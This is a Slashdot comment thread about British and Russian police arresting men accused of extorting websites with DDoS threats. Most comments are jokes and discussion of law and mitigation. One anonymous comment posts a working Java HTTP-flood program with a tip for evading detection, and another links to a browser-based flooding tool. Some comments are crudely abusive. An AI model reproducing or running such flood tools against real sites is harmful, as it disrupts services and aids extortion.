Slashdot Mirror


British Authorities Nail Online Blackmailers

Iphtashu Fitz writes "CNet's News.com is reporting that 3 men have been arrested for allegedly blackmailing websites by threatening DDoS attacks if they didn't pay between $10,000 and $55,000. Britians National Hi-Tech Crime Unit (NHTCU) worked with the targeted websites to combat the DDoS attacks and to track their origin. With the help of Russian police they identified and arrested three Russians and expect more arrests in the near future."

153 comments

  1. In other news... by Anonymous Coward · · Score: 5, Funny

    ...Slashdot is rumoured to be investigating a new method of securing additional "revenue"...

    1. Re:In other news... by Metallic+Matty · · Score: 4, Funny

      Actually, that's not a bad idea..

      *ponders*

      Send 100 USD to this pay pal account or I'll submit a slashdot story which links to your personal website.

      hehe.

    2. Re:In other news... by eingram · · Score: 0, Troll

      Better idea...

      Send $100 to the PayPal account in my signature AND submit a story to Slashdot which links to the same site.

    3. Re:In other news... by l0ungeb0y · · Score: 2, Interesting

      Erm no, because though a slashdotting may cripple a site, 10 people will post mirrors, plus it's free publicity -- so why pay when you're basically threatening to advertise them for free and offer the value added service of recruiting 10 people to mirror the site for FREE? That's some threat. :)

      Maybe you haven't noticed the rise in advertisements masquerading as articles on /. these days? Well now you know why.

    4. Re:In other news... by Anonymous Coward · · Score: 0

      Aw man, you are such a cuntbucket. Someone makes funny and you go and shit all over it.

      Don't be such a fucking retard next time, and think before you type.

    5. Re:In other news... by Anonymous Coward · · Score: 0

      Hey fuck you man... you're the filthy snatchwad around here, dragging your maggot infested cunt rag through slashdot. Maybe my facts trumped your pathetic attempt at humor and now you're all jealous? I eat assholes like you for breakfast, pal.

      Now, go get your fucking shine box.

    6. Re:In other news... by Anonymous Coward · · Score: 0
      I eat assholes like you for breakfast, pal.
      In Soviet Russia, breakfast eats you, asshole!


      Oops, wait, wrong thread. Sorry.
    7. Re:In other news... by Yolegoman · · Score: 1

      That is the most retarded thing I have ever seen.

    8. Re:In other news... by stanmann · · Score: 1

      I usually just eat cereal or toast for breakfast, Different strokes, different folks

      --
      Food not Bombs is a nice platitude but it breaks down when you notice that the Bombees are usually well fed
  2. (Sorry in advance) by daeley · · Score: 2, Funny

    In Soviet Russia, Services Distributedly Deny You.

    --
    I watched C-beams glitter in the dark near the Tannhauser gate.
    1. Re:(Sorry in advance) by Anonymous Coward · · Score: 0

      British Authorities Nail Online Blackmailers In Japan

    2. Re:(Sorry in advance) by Foss · · Score: 1

      British Authorities nail honor blackman in Japan?

      --
      You've got mail. Pattern baldness. - Crow
  3. DDoS by Anonymous Coward · · Score: 5, Funny

    And now Slashdot will DDoS them.

  4. Allegedly threatening a DDoS attack? by Quickfry · · Score: 3, Funny

    That can get you arrested? What if I 'allegedly threaten' to watch my sister change? Will I get arrested for being a pervert?

    1. Re:Allegedly threatening a DDoS attack? by Anonymous Coward · · Score: 0

      All crimes are "alleged" until you're found guilty in court.

    2. Re:Allegedly threatening a DDoS attack? by rking · · Score: 4, Informative

      What if I 'allegedly threaten' to watch my sister change? Will I get arrested for being a pervert?

      Arrests are invariably over allegations. In the UK, at least, we have a whole court system that determines whether the allegations were true and that only kicks in after arrest. In this case the charges were for blackmail. Blackmail is by its nature based on threats. If you're from the US then I think you call the crime "extortion" instead.

    3. Re:Allegedly threatening a DDoS attack? by Quickfry · · Score: 1

      All crimes are "alleged" until you're found guilty in court. This is not always true. In my hometown, a young man was charged with 'conspiracy to commit a criminal act' (he threatened to shoot up the school.) Through the whole ordeal, it was never an 'alleged' conspiracy, it was as if he was guilty until proven innocent.

    4. Re:Allegedly threatening a DDoS attack? by Engineer+Andy · · Score: 1

      In some states in the USA

      Threatening to commit a crime to extort payment is a crime.

      Threatening to hurt someone is a crime.

      Planning to commit a crime is considered a crime in some cases.

      --
      "And we have seen and do testify that the Father sent the Son to be the Savior of the World" 1 John 4:14
    5. Re:Allegedly threatening a DDoS attack? by jhunsake · · Score: 1

      Apparently you were found innocent, because you're here posting on Slashdot.

    6. Re:Allegedly threatening a DDoS attack? by Quickfry · · Score: 1

      Nope, I only got probation.

    7. Re:Allegedly threatening a DDoS attack? by Anonymous Coward · · Score: 0

      After reading the writeup (I didn't actually read the article... this is Slashdot afterall) it appears that they were DDOS'ing the victims and the NHTCU helped track them down while they were in the process:

      "Britians National Hi-Tech Crime Unit (NHTCU) worked with the targeted websites to combat the DDoS attacks and to track their origin."

    8. Re:Allegedly threatening a DDoS attack? by jrumney · · Score: 1

      Surely the origin was a network of zombies. Or were they DDOSing these sites from their own PCs in Russia?

    9. Re:Allegedly threatening a DDoS attack? by Tired+and+Emotional · · Score: 2, Informative
      This is a plain and simple case of "demanding money with menaces" which is illegal most places.

      Now the case on jurisdiction will be interesting. Presumably the menaces were delivered over the Internet from Russia. So where was the crime committed? Are they subject to extradition?

      --
      Squirrel!
    10. Re:Allegedly threatening a DDoS attack? by Mant · · Score: 1

      Becuase of the whole "innocent until proven guilty (unless a suspected terrorist)" thing, news sources don't say some has commited a crime in the UK, until they have been found guilty. By adding 'allegedly' the news source can't be sued by the person if they are later found innocent.

      In this case the crime is blackmail/extortion, and it is alleged until/if they are found guilty.

      It's a running joke on the popular UK satrical news quiz Have I Got News For You they will say very rude and outrageous (although sometimes true) things about politicians and celebs, then add "...alegedly" afterwards.

    11. Re:Allegedly threatening a DDoS attack? by zakezuke · · Score: 1

      Planning to commit a crime is considered a crime in some cases.

      Hell, according one site site It is illegal to enter some community in Washington with criminal intent without phoning the chief of police.

      site

      --
      There is no sanctuary. There is no sanctuary. SHUT UP! There is no shut up. There is no shut up.
    12. Re:Allegedly threatening a DDoS attack? by Anonymous Coward · · Score: 0

      Heh, I have this mental picture of a moustache-twirling villain phoning the Chief of Police and saying "Haha! I am entering your state with criminal intent!". Sounds like one of those old silent movies. :)

    13. Re:Allegedly threatening a DDoS attack? by Anonymous Coward · · Score: 0

      If shes hot and you go ahead with that, could you please record it and throw it up on p2p?

      'quickfrys sister getting changed.avi' will be an ok name for me to find.

      Thanks mate.

    14. Re:Allegedly threatening a DDoS attack? by Motherfucking+Shit · · Score: 2, Funny
      What if I 'allegedly threaten' to watch my sister change? Will I get arrested for being a pervert?
      Probably not, unless your alleged sister alleges that you watched her changing, or unless you allegedly post pictures of your sister changing online. But we can't know for sure until we see the alleged photos. Have you allegedly tried Gnutella, and if so, what are the alleged filenames?

      *The preceding post alleges that your sister is of legal age.
      --
      "BSD: Free as in speech. Linux: Free as in beer. Windows 10: Free as in herpes." --Man On Pink Corner in #52607549.
    15. Re:Allegedly threatening a DDoS attack? by AvantLegion · · Score: 1
      That can get you arrested? What if I 'allegedly threaten' to watch my sister change? Will I get arrested for being a pervert?

      Dude, there's no room in the closet for you too. Go find your own girl to spy on.

    16. Re:Allegedly threatening a DDoS attack? by Anonymous Coward · · Score: 0

      "Won't pay, eh? Take this!" (Shift-reload, shift-reload, shift-reload...)

    17. Re:Allegedly threatening a DDoS attack? by Anonymous Coward · · Score: 0

      Blackmail is still a crime.

    18. Re:Allegedly threatening a DDoS attack? by Anonymous Coward · · Score: 1, Funny

      If you're from the US then I think you call the crime "extortion" instead.

      The X makes it sound cool.

    19. Re:Allegedly threatening a DDoS attack? by TRS80NT · · Score: 1

      Planning to commit a crime is considered a crime in some cases.
      And in some jurisdictions, conspiracy to commit a misdemeanor is a felony. Go figure.

      --
      Lorem ipsum dolor sit amet.
    20. Re:Allegedly threatening a DDoS attack? by Shimbo · · Score: 1

      Becuase of the whole "innocent until proven guilty (unless a suspected terrorist)" thing, news sources don't say some has commited a crime in the UK, until they have been found guilty. By adding 'allegedly' the news source can't be sued by the person if they are later found innocent.

      Also, the UK courts generally take the view that the right of the accused to a fair trial outweighs the freedom of the press (until the trial is over).

      News media are always careful not to say anything that might prejudice a trial; even the police won't come right out and say they have caught the guilty party.

    21. Re:Allegedly threatening a DDoS attack? by AndroidCat · · Score: 1

      Until actually convicted, the guy found with a smoking gun over a corpse, shouting "Ahaha! I shot him!", with several witnesses and live network feed watching is only an alleged murderer. (And possibly an "extreme" reality TV show contestant.)

      --
      One line blog. I hear that they're called Twitters now.
    22. Re:Allegedly threatening a DDoS attack? by N3koFever · · Score: 1

      "I nicked it when you let your guard down for that split-second. And I'd do it again!"

    23. Re:Allegedly threatening a DDoS attack? by Anonymous Coward · · Score: 0

      If you're from the US then I think you call the crime "extortion" instead.

      Thanks. I was wondering about that. In the U.S., blackmail is when someone threatens to release compromising information* about you unless you pay them. Do you call that blackmail, too, or is the language different yet again? I'm guessing it's all the same crime to you since it's basically a threat and a demand for payment. I don't know why we have a distinction based on the type of threat, especially since my dictionary searching seems to show that the term extortion originally applied only to people in positions of power.

      (*photographs that prove you're having an affair, evidence that links you to a crime, that sort of thing.)

    24. Re:Allegedly threatening a DDoS attack? by Anonymous Coward · · Score: 0

      Mention extortion again and I'll have your legs broken.

  5. KAKE-TV 10 NEWS by Anonymous Coward · · Score: 0
    Your KAKE-TV 10 News Team:
    • Jay Prater
    • Susan Peters
    • Jeff Herndon
    • Alan Shope
  6. DoS attacks by KamuZ · · Score: 1

    I believe there's need to be more law enforcement on this kind of attacks, there was a time when i didn't care at all about this... but when it happened to me (well my host service) a few days ago, and my boss telling me why there's no email service... the company page was down... a really mess, and most of the time, you just wait until things settle down.

    1. Re:DoS attacks by Anonymous Coward · · Score: 0

      Dude trust me, hostsave.com sucks! It probably wasn't a DDoS attack!

  7. pay me $10k... by Anonymous Coward · · Score: 4, Funny

    ...and i will not submit news about your site on /.

    1. Re:pay me $10k... by 00zero · · Score: 1

      So can I order a hit on my sig for free?

    2. Re:pay me $10k... by Ronny+Cook · · Score: 1
      Metallic Matty has offered to not submit my site for only US$100. Which of you is willing to accept the lowest price for not submitting my site?

      Actually my site isn't in a lot of danger. It's fairly dull. CmdrTaco will either laugh at you, or post it twice.

  8. Shake it up! by beacher · · Score: 1

    "It's a case of shaking the tree and seeing what happens," she said
    Best way to shake a tree? Find a brit that's been proven to be a great shaker. Louise Woodward's not doing anything lately...

  9. Fortunate for them... by humankind · · Score: 1

    the blackmailers weren't located within the United States. They probably could have gotten away with it a lot longer, as US law enforcement authorities seem to have little or no interest in such criminals or activities.

    1. Re:Fortunate for them... by Anonymous Coward · · Score: 0

      Yes. Because the US has absolutely NO interest in online fraud and crime.

      Especially compared to, say, Iraq. Or Palestine. Or Any of the hundreds of other countries who don't give a rats ass about anything computer because they have real problems.

      But, humoring the troll. Please, give an example of the US blatantly ignoring cybercrime.

    2. Re:Fortunate for them... by Anonymous Coward · · Score: 0

      Of course they do. If they look like an Arab.

      http://www.brownequalsterrorist.com/

    3. Re:Fortunate for them... by kyliaar · · Score: 1

      Not true. I've personally witnessed subpeonas from the FBI relating to a customer's activity at an ISP I worked for. I had to give data relating to the incident and narrowly escaped having to appear in court as a witness.

    4. Re:Fortunate for them... by humankind · · Score: 1

      I'd bet the activity was something un-pc like kiddie porn. They don't give a damn about fraud, spam or computer tampering, but if there's some naked people or bongs involved, they're quite attentive.

  10. I say good job by Alcohol+Fueled · · Score: 4, Insightful

    This is good. It may only be three people, but that's three less people who are trying to take advantage of the Internet and the people who use it. And I say good job on the cooperation between British and Russian officials who got the three guys. :)

    --
    Ah am not a crook! (\(-__-)/)
    1. Re:I say good job by akaiONE · · Score: 3, Informative

      There were acording to El. Reg ten more of these crimminals who got arrested in Riga, Latvia last year. This investigation seem to have been going for a while and its good to see that scriptkiddies, mafia and mobsters are not allowed to try to extort victims this way.

      --

      "-Who said sit down?!"
      -- S. Ballmer @ MSDC 2003.

  11. Well now by cr0y · · Score: 1

    It looks like the authorities didn't catch the bad guys, I mean, this story did get posted to SLASHDOT and all ;)

    --

    ItWasFree.com - Take the mystery
  12. Mmmmm by hdd · · Score: 2, Funny
    between $10,000 and $55,000

    So you can bargain with these guys?

    --
    This Sig is removed due to factual inaccuracy
    1. Re:Mmmmm by Reverant · · Score: 1

      Well, yeah, they are just plain-old blackmailers, you can always negotiate with them. It's not like they are Mac zealots or C++ Object Methodologists or anything.

    2. Re:Mmmmm by N+Monkey · · Score: 1

      So you can bargain with these guys?

      Yes, if you pay early they'll also throw in a set of steak knives....

  13. Revision 2.0 by aardvarko · · Score: 2, Funny

    Send us all your lunch money or we'll post a story about your site on SLASHDOT!! [insert creepy organ music here]

    1. Re:Revision 2.0 by Anonymous Coward · · Score: 0
      Presenter: When the Piranhas left school they were called up but were found by an Army Board to be too mentally unstable even for National Service. Denied the opportunity to use their talents in the service of their country, they began to operate what they called 'The Operation'...

      They would select a victim and then threaten to beat him up if he paid the so-called protection money. Four months later they started another operation which the called 'The Other Operation'. In this racket they selected another victim and threatened not to beat him up if he didn't pay them. One month later they hit upon 'The Other Other Operation'. In this the victim was threatened that if he didn't pay them, they would beat him up. This for the Piranha brothers was the turning point.

  14. The scope of this would surprise many of you. by mindstrm · · Score: 4, Interesting

    The scale and scope of these attacks, and the amounts of money paid to these people, how far that money went, how many countries it was wired through, and the amount of law enforcement and private sector work involved in getting even this far would shock many of you.

    Contrary to what some say, the US authorities *DO* care what's going on... they just can't prosecute directly unless it's affecitng US business.

    These people and similar operators have extored millions of dollars in the last 12 months alone.

    I'm sure many will come out and say "Oh well if you had just built your network properly...".. oh, if only it were that simple. These attacks have come in at over 4Gbps... and no matter how you slice it, that's a shitload of bandwidth.

    The slashdot effect is jack shit compared to what these guys have unleashed for WEEKS at a time on one site alone.

    1. Re:The scope of this would surprise many of you. by Anonymous Coward · · Score: 1, Informative

      they just can't prosecute directly unless it's affecitng US business.

      Correction: they can't prosecute unless the attackers are located in the US or a country that has an extradition treaty with the US. Even if the attackers are fucking up US businesses with their DDoS attacks, the US can't do anything aside from attempt to stop the attacks up to a point. The only time they can do something is if there is a lot at stake as a result of the attacks.

      Also, having the Russians actually cooperate on an investigation like this is very rare. There must have been some pressure put somewhere to get their cooperation.

    2. Re:The scope of this would surprise many of you. by ObsessiveMathsFreak · · Score: 1

      Dispite the sheer scale of the assault (over 4Gbps), the problem is still avoidable with the right infrastructure. The ISP is certainly carrying the bandwith, and it should be their job to monitor connections. If an ISP spots 4Gbps entering a site from less than 50 addresses, they should ring up and ask "You, guy's OK?". Upon hearing demented screams of terror on the line, they should block the 50 ip addresses.

      Admittedly most ISP couldn't be bothered to check, but with the right hardware a victim could analyse the traffic and then demand that the ISP cut them off, which an ISP should be obliged to do.

      If I keep getting hundreds of scrawled letters from Mosocw, I can ligitimatly ask my postman not to delivier anymore letters with a russian stamp. Similarly I can ask my ISP, when I'm under a DDoS attack, to cancel all packets from ~200 possible ips, from going to me.

      Lets just hope Cisco don't pantent this! :E

      --
      May the Maths Be with you!
    3. Re:The scope of this would surprise many of you. by Anonymous Coward · · Score: 2, Informative

      Of course.. its all so simple !!! Every one else but you must be an idiot.

      These attacks come from all over - not just from one or two hundred easily identifiable sources - you do not understand the scale. Huge numbers of requests, from distributed locations, converge upon one location.

      So much bandwidth is generated, Tier 1 ISP's are forced to block the target IP address range.

    4. Re:The scope of this would surprise many of you. by goatan · · Score: 1
      Also, having the Russians actually cooperate on an investigation like this is very rare. There must have been some pressure put somewhere to get their cooperation.

      When you ask instead of demand you get co operation. UK police have a good record of getting co operation from others, usually because they give it themselves.

      --
      Saying Apple is better than MS is like saying Botulism is better than rabies.

    5. Re:The scope of this would surprise many of you. by mindstrm · · Score: 1

      If it were 200 IPS, or even 2000, this would not have been aproblem.

      So tell me, smarteyman, as my ISP, how do you plan to block 4Gbps of legitimate-looking web requests coming from 30,000 hosts in nearly an equal number of unrelated subnets, distributed globally?

    6. Re:The scope of this would surprise many of you. by mindstrm · · Score: 1

      Okay, I don't mean just prosecution, but any sort of investigative help at all. Many of the attacking zombies were in the US, and tons of the traffic moved through the US.

      The US Govt. was actually quite helpful during related attacks earlier this year, even though they would most likely not end up prosecuting anyone.

    7. Re:The scope of this would surprise many of you. by ObsessiveMathsFreak · · Score: 1

      So tell me, smarteyman, as my ISP, how do you plan to block 4Gbps of legitimate-looking web requests coming from 30,000 hosts in nearly an equal number of unrelated subnets, distributed globally?


      If a sites incoming traffic suddenly exceeds a certain level, drop 9 of every ten requests to that server, going up to 99 of every hundred if the problem gets worse.

      In case one, legit people still have a 10% chance of contact, while the hard to set up and rare 30,000 zombie attack is blunted. The site is hindered, but stays up.

      Massive DDoS >10000, attacks will happen, but will be rare. Much more common will be a mini DDoS with 500 or 100 points. Detect an cut off will work here.

      --
      May the Maths Be with you!
    8. Re:The scope of this would surprise many of you. by mindstrm · · Score: 1

      Although I will admit allowing 10% of my customers through instead of none is a start, it's nowhere near a satisfactory solution, and my customers are still going to leave in droves.

      That's not solving the problem, nor does it require much infrastructure.

      The actual solution involves tons of caching and load balancing, as well as very aggressive filtering (to-date, you can generally detect some aspect of the zombie behavior that differs from a legitimate user's request.. and thereby block it out).

      Also, there is usually some lag between zombie updates.. so changes to DNS and whatnot can stay one step ahead of them.

      All of these are solutions a well designed attack could overcome, however.

    9. Re:The scope of this would surprise many of you. by Anonymous Coward · · Score: 0

      er no... most of that 10% [or whatever] would still be DOS stuff: That is just lame - site is still effectively dead.

      The problem effects all ISP's at differing levels depending upon where they are in the chain - close to the source(s), or close to the destination. Some will care more than others.

      Massive DDoS's are not that rare, just ask any online gaming co.

    10. Re:The scope of this would surprise many of you. by mindstrm · · Score: 1

      Also.. ever tried to work with an interactive website when only one out of ten reqeusts gets through?

      Oh, you are going to cache those 10% of addresses and let all their traffic through? The attackers will quickly fill that up.

    11. Re:The scope of this would surprise many of you. by Anonymous Coward · · Score: 0

      please rtfm before you post stuff like this

  15. Why DDos? by KrisCowboy · · Score: 0

    Post the link here on slashdot and we'll DoS them - distributedly. Heck, they won't even arrest us :-) We don't DoS site, we SlashDoS them

    1. Re:Why DDos? by Anonymous Coward · · Score: 1, Insightful

      Having been involved in this first-hand, I can assure you that the slashdot effect, as mighty and powerful as it is pales in comparison to the kind of resources these assholes were bringing to bear on their victims.

      Think 30,000 zombie machines distributed globally slamming 4 gigabits/second at your puny gigabit connected website.

    2. Re:Why DDos? by KrisCowboy · · Score: 1

      I get the point. I was just kidding about Slashdotting sites. I'm just anxious to see a real DoS attack. Any idea where I can find some code to see how it actually works?

    3. Re:Why DDos? by nacturation · · Score: 3, Interesting

      I'm just anxious to see a real DoS attack. Any idea where I can find some code to see how it actually works?

      I'm probably feeding a troll here, but what the hell. Why do you need to see code? It's little more than a massive surge in traffic which looks legitimate. Try this pseudocode on for size:

      while(1)
      - recursively get victim's entire website


      Now spread that across 100,000 zombie machines, each capable of pulling in an average of maybe 20KB/s. Suddenly the victim's dealing with 2GB/s of traffic or, more likely, not dealing with it as the traffic would thoroughly saturate not only the victim's website but also the entire hosting provider's network.

      --
      Want to improve your Karma? Instead of "Post Anonymously", try the "Post Humously" option.
    4. Re:Why DDos? by DNS-and-BIND · · Score: 1

      Is Microsoft subject to any liability for this? After all, it's their shoddy operating system that enabled the attacks to take place.

      --
      Shutting down free speech with violence isn't fighting fascism. It IS fascism!
    5. Re:Why DDos? by LiquidCoooled · · Score: 2, Interesting

      This is the thing that always gets me.

      Companies and webmasters cry DDOS when their website just simply cant handle the flood.

      Granted, some attacks are genuine, but all it takes to DDOS someone is a posting on one of the many websites (not just slash) that the original webadmin wasn't expecting.

      Its like hearing in the news about an ongoing DDOS attack on xyz's site, whats the first thing you do?

      I know I try and load the page.....

      --
      liqbase :: faster than paper
    6. Re:Why DDos? by KrisCowboy · · Score: 1

      Now spread that across 100,000 zombie machines
      Actually, this is what I'm interested in. I'll try the while(1) thing tonight on our server :-)

    7. Re:Why DDos? by Anonymous Coward · · Score: 0
      Well. you can view the code for the Lad Vampire
      Even better, let it run and help with a DDOS on fake banks, used by 419ers and others in their confidence tricks. If running a Fire* browser, make sure that Javascript is allowed to alter pictures, otherwise the page doesn't work...

      aa419 also organises monthly flash mobs on the first of the month, to see how many of these fraudulent sites they can take down in a day...

    8. Re:Why DDos? by Anonymous Coward · · Score: 0

      Hey you go. Written by me and used by me on spammer's sites.

      I tried this on slashdot and got banned. Many major sites are able to detect this. A more advanced DDOS program would probably would use a random function for for timing.

      i.e in the loop, pick a random time from 0.1-1 seconds before fetching the page.

      import java.awt.*;
      import java.io.*;
      import java.util.*;
      import java.net.*;

      import java.io.BufferedReader;

      public class DDOS {

      DDOS() { }

      public static void main(String args[]){
      try {
      URL url;
      URLConnection urlConn;
      DataOutputStream printout;

      for(int m=0; m50000;m++) {
      url = new URL("http://insert url here");

      urlConn = url.openConnection();

      BufferedReader in = new BufferedReader(new InputStreamReader(urlConn.getInputStream()));

      in.close();
      System.out.println(m);
      }

      }
      catch (MalformedURLException me)
      {
      System.err.println("MalformedURLException: " + me.getMessage());
      }
      catch (IOException ioe)
      {
      System.err.println("IOException: " + ioe.getMessage());
      }
      }
      }

    9. Re:Why DDos? by SuiteSisterMary · · Score: 1

      Is Ford liable when somebody smashes the windows on an Explorer, climbs in, hotwires the car, and runs somebody down? After all, their windows were obviously not up to the task of keeping somebody out....

      NO. Of course not. The fault lies, as always, with the person ACTUALLY COMMITTING THE CRIME.

      Why is 'personal responsibility' such a difficult concept?

      --
      Vintage computer games and RPG books available. Email me if you're interested.
    10. Re:Why DDos? by DNS-and-BIND · · Score: 1

      It's more like building a car that catches fire every 5,000 miles, with wheels that fall off, and locks that a child could circumvent. I've moved from the IT field into manufacturing, and it's shocking the kind of shoddy product that computer companies produce. If we produced a product like that, not only would we be out of business, but our company would be sued and our board of directors would be in prison.

      --
      Shutting down free speech with violence isn't fighting fascism. It IS fascism!
    11. Re:Why DDos? by SuiteSisterMary · · Score: 1

      Should we sue Red Hat every time some idiot installs a machine from that old RH 6.2 CD he has lying around, and it gets owned within thirty seconds of being on the Internet?

      Of course not. A WinXP or 2k machine, up to date with the *automatic* updates, is perfectly secure for day to day use. The vast majority, if not all, of the 'windows worms' of the last several YEARS; code red, nimda, sasser, the patches preceeded the worms themselves by weeks, sometimes months.

      --
      Vintage computer games and RPG books available. Email me if you're interested.
    12. Re:Why DDos? by DNS-and-BIND · · Score: 1

      OK, here's our automatic sprinkler product. After purchasing it from the store, you must modify your product according to the easy(hah) instructions from our website. Failure to do this will result in your lawn being flooded, and our company takes no responsibility for shipping a deeply flawed product.

      --
      Shutting down free speech with violence isn't fighting fascism. It IS fascism!
    13. Re:Why DDos? by SuiteSisterMary · · Score: 1

      "Hey, honey, we just got this letter from Ford announcing a recall of several hundred thousand vehicles...."

      --
      Vintage computer games and RPG books available. Email me if you're interested.
    14. Re:Why DDos? by DNS-and-BIND · · Score: 1

      "you'll have to perform all the work yourself, and Ford doesn't supply any of the tools. Just follow these easy instructions..."

      --
      Shutting down free speech with violence isn't fighting fascism. It IS fascism!
    15. Re:Why DDos? by SuiteSisterMary · · Score: 1

      Ok, how about a parallel between Windows Update (or Red Hat Network) and, say, regular car maintanence?

      --
      Vintage computer games and RPG books available. Email me if you're interested.
  16. what's next? by Errtu76 · · Score: 1, Interesting

    Before i always thought DDoS attacks were initiated by frustrated scriptkiddies who had some form of dispute (probably glined off an irc server) with the victims. This is the first time people try to take money in the process. Is this a new form of terrorism? If so, will others (virii/worm coders etc.) pick up the trend?

    1. Re:what's next? by Anonymous Coward · · Score: 1, Insightful

      This isn't terrorism you dumbass. It's just extortion. *Rolls eyes*

    2. Re:what's next? by nacturation · · Score: 3, Informative

      Is this a new form of terrorism?

      This has been around since the dawn of man. "Do X or else I'll do Y." X can be a request for money, goods, services, actions... you name it; Y is generally always something which will harm the intended victim, whether financially, personally, or emotionally. Extortion is certainly nothing new and, while it's often terrifying for the victim, it isn't necessarily a terrorist activity.

      Heck, compare the following three extortion demands:

      Mild: "If you don't stop playing Doom 3 so much, I'm leaving you."
      Medium: "Give me a raise or I'll alert the media about the company's fudged finances."
      Intense: "Clear out of Iraq or we execute these hostages."

      --
      Want to improve your Karma? Instead of "Post Anonymously", try the "Post Humously" option.
    3. Re:what's next? by pjt33 · · Score: 1

      I venture to suggest that you don't read much tech news other than /.. Stories about DDos blackmail of online bookies have been common for at least 6 months. As to terrorism - no: the purpose is to make money, not to create terror. As to worm authors - as with spam, zombies created by worms are already the main source of DDoS attacks.

    4. Re:what's next? by Poeir · · Score: 2, Funny

      I'm not sure why, but after reading this post I really wand some cheddar...

      --
      Sigs are like bumper stickers.
  17. See Them Try by Anonymous Coward · · Score: 0

    Would have been better if google was one of the websites contacted...

  18. This is extortion not blackmail by TheNarrator · · Score: 4, Informative
    Knock! Knock! Langugage police is here

    Blackmail is defined as: 1. Extortion of money or something else of value from a person by the threat of exposing a criminal act or discreditable information.

    While Extortion is: 1. The act of extorting; the act or practice of wresting anything from a person by force, by threats, or by any undue exercise of power; undue exaction; overcharge.

    Now since these guys weren't threatening to reveal something about the company this is garden variety extortion and not blackmail.

    1. Re:This is extortion not blackmail by rking · · Score: 5, Informative
      Blackmail is a specific crime in the UK, defined by section 21 of the Theft Act 1968 :

      21 (1) A person is guilty of blackmail if, with a view to gain for himself or another or with intent to cause loss to another, he makes any unwarranted demand with menaces; and for this purpose a demand with menaces is unwarranted unless the person making it does so in the belief:
      (a) that he has reasonable grounds for making the demand; and
      (b) that the sue of the menaces is a proper means of reinforcing the demand

      (2) The nature of the act or omission is immaterial , and it is also immaterial whether the menaces relate to action to be taken by the person making the demand.

      (3) A person guilty of blakmail shall on conviction non indictment be liable to imprisonment for a term not exceeding fourteen years.


      These people are being accused of blackmail.
    2. Re:This is extortion not blackmail by stephanruby · · Score: 2, Interesting

      Then, when are the British authorities going after SCO?

    3. Re:This is extortion not blackmail by Anonymous Coward · · Score: 0

      Knock! Knock! Langugage police is here

      Language policeman arrest thyself!

    4. Re:This is extortion not blackmail by Anonymous Coward · · Score: 0

      Discreditable information? As in information that can be discredited? This is why I love reference.com...

    5. Re:This is extortion not blackmail by elodan · · Score: 1
      Langu gage police is here
      Obviously you tried to get a job at the Spelling Police and the Grammar Police but they wouldn't hire you.
    6. Re:This is extortion not blackmail by TwistedSquare · · Score: 1

      I don't believe SCO have tried demanding anything from any UK companies. Correct me if I'm wrong.

    7. Re:This is extortion not blackmail by Anonymous Coward · · Score: 0

      Well, failing those orgs, he could try wackenhut or dyncorps or executive outcomes, they are always hiring.

    8. Re:This is extortion not blackmail by Stinky+Cheese+Man · · Score: 1

      Two countries, divided by a common language.

  19. Britian by 1u3hr · · Score: 2, Informative

    "Britian" -- Jesus Timothy, you're paid to edit. Be professional. Use a spellchecker.

    1. Re:Britian by Anonymous Coward · · Score: 0

      It should be United Kingdom anyway, Britain is a geographical term which includes another independent country not involved in this event.

    2. Re:Britian by kruczkowski · · Score: 1

      He's using Linux - what would you expect, he can't get spellcheck to work.

      --
      hmm... for fun I enjoy launching DDoS attacks against 127.87.42.5
    3. Re:Britian by Xrikcus · · Score: 1

      Strictly Britain (Great Britain) is England Scotland and Wales. The British Isles also includes Ireland.

      You are right that United Kingdom is the political name though. "United Kingdom of Great Britain and Northern Island"

    4. Re:Britian by Anonymous Coward · · Score: 0

      should it be "The British Nat..." ?

    5. Re:Britian by Anonymous Coward · · Score: 0

      Scotland will NEVER be controlled by England!

      Not so long as we have... our.. FREEEEEDOM!!!

      *entrails removed*

    6. Re:Britian by Anonymous Coward · · Score: 0

      The /. editors rarely (never?) change any part of the text submitted by the users (the part in italics). They may add a comment pointing out a big error, or fix a broken link, but they won't fix small typos unless people complain loud enough. Probably, they don't fix anything because the text in italics is quoting the article submitter. The non-italics part is what the /. editor writes.

      If the typo was in the non-italics text, then you can yell at Jesus Timothy, but here, the typo was made by Iphtashu Fitz, so you should yell at that user.

      -hadohk

    7. Re:Britian by 1u3hr · · Score: 1
      Some AC wrote: "The /. editors rarely (never?) change any part of the text submitted by the users (the part in italics). They may add a comment pointing out a big error, or fix a broken link, but they won't fix small typos unless people complain loud enough. Probably, they don't fix anything because the text in italics is quoting the article submitter. The non-italics part is what the /. editor writes. If the typo was in the non-italics text, then you can yell at Jesus Timothy, but here, the typo was made by Iphtashu Fitz, so you should yell at that user.

      Actually, not true. I've sent emails to the editors on similar things and about 50% of the time they fix things like this, especially Taco. Timothy, however, rarely does so. (His emails usually bounce, as a matter of fact.) And speaking as a professional editor, if you don't check and clean up submitted text then you aren't an editor. A professional editor would be fired if he allowed mistakes with the frequency these guys do -- I used to edit 10 stories an hour for a website once, these guys do about one paragraph in that time. (I know they actually read many more, but still they could take a little care with what they do select.) I don't blame the submitters, they're not being paid to write, but Timothy et al. are collecting a cheque to edit, describe themselves as editors, and can't even spell, let alone punctuate, and never seem to fact check at all.

  20. MOD PARENT UP by LordLucless · · Score: 1

    Crime != Terrorism

    --
    Just because you're paranoid doesn't mean there isn't an invisible demon about to eat your face
  21. 10,000 POUNDS, not DOLLARS by 1u3hr · · Score: 2, Informative
    Apparently neither the submitter nor editor RTFA:

    "the gang reportedly would demand a sum of between $18,000 and $55,000 (10,000 pounds and 30,000 pounds)."

  22. Of course they got caught. by Lifix · · Score: 1

    "CNet's News.com is reporting that 3 men have been arrested for allegedly blackmailing websites by threatening DDoS attacks if they didn't pay between $10,000 and $55,000"

    They are asking for way too much money. If they had set realistic goals for themselves, they would not have ended up in a position like they are in today. Frankly, asking for the ammount of cash that they did seems very juvinile. Just my $.02

    --
    In nature, there are neither rewards or punishments, there are only consequences.
    1. Re:Of course they got caught. by pjt33 · · Score: 1

      They're blackmailing online bookies, not individuals, and mainly timing it around big sporting events. The amount of income lost due to the DDoS could easily be more than the requested payment.

    2. Re:Of course they got caught. by Anonymous Coward · · Score: 0

      Also, they blackmail porn sites. Same deal. Lots of money is lost for every hour they're down.

    3. Re:Of course they got caught. by Anonymous Coward · · Score: 0

      I work for one of the many online bookies that were targetted by this group of criminals. I can't give you specific details for obvious reasons (so obvious even a /. troll can work it out for themselves). But.. the amounts involved were to help ease _receiving_ the money without difficult questions being asked at the facility being used.

